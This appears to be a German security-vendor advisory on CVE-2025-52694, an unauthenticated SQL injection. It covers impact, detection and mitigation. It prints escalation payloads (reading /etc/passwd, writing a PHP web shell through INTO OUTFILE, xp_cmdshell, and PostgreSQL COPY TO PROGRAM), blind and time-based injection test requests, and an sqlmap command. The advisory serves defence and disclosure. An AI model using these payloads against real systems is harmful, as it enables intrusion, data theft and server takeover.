CVE-2025-52694: Unauthenticated SQL Injection Enables Arbitrary Command Execution on Exposed Services
Eine SQL-Injection-Schwachstelle, die keine Authentifizierung erfordert, erlaubt Remote-Angreifern, beliebige SQL-Befehle auf verwundbaren internet-exponierten Diensten auszuführen und bedroht Vertraulichkeit, Integrität und Verfügbarkeit der Daten. CVSS 10.0.
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2025-52694 |
| Schweregrad | KRITISCH (CVSS 3.1: 10.0) |
| Schwachstellentyp | SQL-Injection (CWE-89) |
| Veröffentlicht | 12. Januar 2026 |
| Authentifizierung erforderlich | Keine |
| Angriffsvektor | Netzwerk (internet-gerichtet) |
Was ist CVE-2025-52694?
CVE-2025-52694 ist eine kritische SQL-Injection-Schwachstelle in einem internet-exponierten Dienst, der zur Ausnutzung keine Authentifizierung erfordert. Angreifer können beliebige SQL-Befehle direkt in die Datenbankabfragen des verwundbaren Dienstes injizieren, dabei potenziell alle Datenbankinhalte lesen oder verändern und — je nach Datenbankkonfiguration — Remote-Code-Execution auf dem zugrunde liegenden Server erreichen.
SQL-Injection ist seit ihren Anfängen in den OWASP Top 10 und bleibt verheerend wirksam, wo sie vorhanden ist. Eine unauthentifizierte, netzwerkzugängliche SQL-Injection mit vollem Datenzugriff ist so gefährlich, wie Schwachstellen nur sein können — daher der maximale CVSS-Score.
Technischer Impact
⚠ Vollständige Kompromittierung der CIA-Triade
Vertraulichkeit: Alle Datenbankinhalte lesbar — Benutzernamen, Passwörter, PII, API-Keys, Finanzdaten.
Integrität: Datenänderung, Datensatzlöschung, Schemaänderung möglich.
Verfügbarkeit: DoS-Angriffe über ressourcenerschöpfende Abfragen; Datenzerstörung möglich.
Eskalationspfad von SQL-Injection zu RCE
Auf Datenbanken mit aktivierter erweiterter Funktionalität kann SQL-Injection zur Ausführung von Betriebssystem-Befehlen eskalieren:
-- MySQL with FILE privilege — read OS files
SELECT LOAD_FILE('/etc/passwd');
-- MySQL with INTO OUTFILE — write web shells
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';
-- MSSQL with xp_cmdshell enabled
EXEC xp_cmdshell 'whoami';
-- PostgreSQL large object injection
SELECT lo_import('/etc/passwd');
CREATE OR REPLACE FUNCTION cmd(text) RETURNS text AS $$
DECLARE result text;
BEGIN
EXECUTE 'COPY (SELECT '') TO PROGRAM ''' || $1 || '''';
RETURN result;
END;
$$ LANGUAGE plpgsql;
Betroffene Versionen
Prüfen Sie das Hersteller-Advisory auf konkrete Produkt- und Versionsinformationen. Jede als betroffen gelistete Version, die dem Internet-Traffic ausgesetzt ist, sollte als aktiv ausnutzbar behandelt werden. Aktualisieren Sie sofort auf die vom Hersteller bereitgestellten gepatchten Versionen.
Erkennungsmethoden
Manuelles SQL-Injection-Testing
# Basic error-based detection # Append ' to parameters and observe error responses GET /search?q=test' HTTP/1.1 # Boolean-based blind detection GET /search?q=test' AND 1=1-- - # Should return normal results GET /search?q=test' AND 1=2-- - # Should return empty/different results # Time-based blind detection (confirm injection) GET /search?q=test'; WAITFOR DELAY '0:0:5'-- - # MSSQL GET /search?q=test'; SELECT SLEEP(5)-- - # MySQL # Use SQLMap for automated exploitation confirmation (authorized testing only) sqlmap -u "https://target.com/page?id=1" --level=5 --risk=3 --dbs
WAF-Log-Review
Prüfen Sie Ihre WAF- oder Anwendungs-Logs auf Muster mit SQL-Schlüsselwörtern (UNION SELECT, OR 1=1, SLEEP(, xp_cmdshell) in Request-Parametern. Aktive Ausnutzung von CVE-2025-52694 zeigt diese Muster.
🔍 KENSAI-Erkennung: Der SQL-Injection-Scanner von KENSAI deckt fehler-basierte, blinde, zeit-basierte und Out-of-Band-Injection-Techniken ab. CVE-2025-52694-Injection-Muster sind in unserer Payload-Bibliothek enthalten und werden gegen alle Eingabevektoren abgeglichen, einschließlich Parametern, Headern und JSON/XML-Body-Feldern.
Mitigations-Schritte
- Hersteller-Patch sofort anwenden: Aktualisieren Sie auf die gepatchte Version gemäß dem Hersteller-Advisory.
- Parametrisierte Abfragen: Stellen Sie sicher, dass alle Datenbankabfragen Prepared Statements mit parametrisierten Eingaben nutzen — der einzige zuverlässige Fix für SQL-Injection.
- Eingabevalidierung: Validieren und bereinigen Sie alle benutzerseitigen Eingaben und weisen Sie SQL-Metazeichen zurück, wo sie nicht benötigt werden.
- Least Privilege: Datenbankkonten sollten minimal erforderliche Berechtigungen haben — niemals
sa- oder Root-Datenbankzugriff von Anwendungskonten. - WAF-Regeln: Setzen Sie WAF-Regeln ein oder aktualisieren Sie sie, um SQL-Injection-Payloads zu erkennen und zu blockieren — dies ist eine kompensierende Kontrolle, kein Fix.
- Gefährliche Stored Procedures deaktivieren: Deaktivieren Sie
xp_cmdshellund andere OS-nahe Datenbankfunktionen, sofern nicht ausdrücklich benötigt. - Netzwerk-Segmentierung: Datenbankserver sollten niemals direkt aus dem Internet erreichbar sein.
KENSAI-Erkennungsfähigkeit
KENSAI bietet umfassende SQL-Injection-Erkennung einschließlich CVE-2025-52694:
- Automatisiertes Injection-Testing über alle HTTP-Parameter, Header und Body-Felder
- Fehler-basierte, blind-boolesche, zeit-basierte und UNION-basierte Injection-Erkennung
- Datenbank-Fingerprinting zur Bestimmung des Ausnutzungs-Impacts
- Erkennung von Second-Order-SQL-Injection
- Remediation-Anleitung, abgebildet auf CWE-89 und OWASP A03:2021
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